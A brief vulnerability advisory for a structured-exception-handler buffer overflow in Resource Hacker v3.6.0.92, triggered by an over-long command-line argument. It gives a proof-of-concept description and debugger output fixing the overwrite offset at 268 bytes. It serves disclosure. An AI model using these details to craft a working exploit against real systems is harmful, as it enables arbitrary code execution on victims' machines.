CWE: CWE-119  
Heap-based buffer overflow controlling the Structured Exception Handler  
(SEH) records in Reseource Hacker v3.6.0.92, and possibly other versions,  
may allow attackers to execute arbitrary code via a long file name argument.  
Proof of concept:  
Open ResHacker.exe from command line with a large string in Arguments, more  
than 268 chars:  
File 'C:\ResourceHacker36\ResHacker.exe'  
SEH chain of main thread  
Address SE handler

0BADF00D SEH record (nseh field) at 0x0018fcb4 overwritten with  
normal pattern : 0x6a413969 (offset 268), followed by 12 bytes of cyclic  
data after the handler
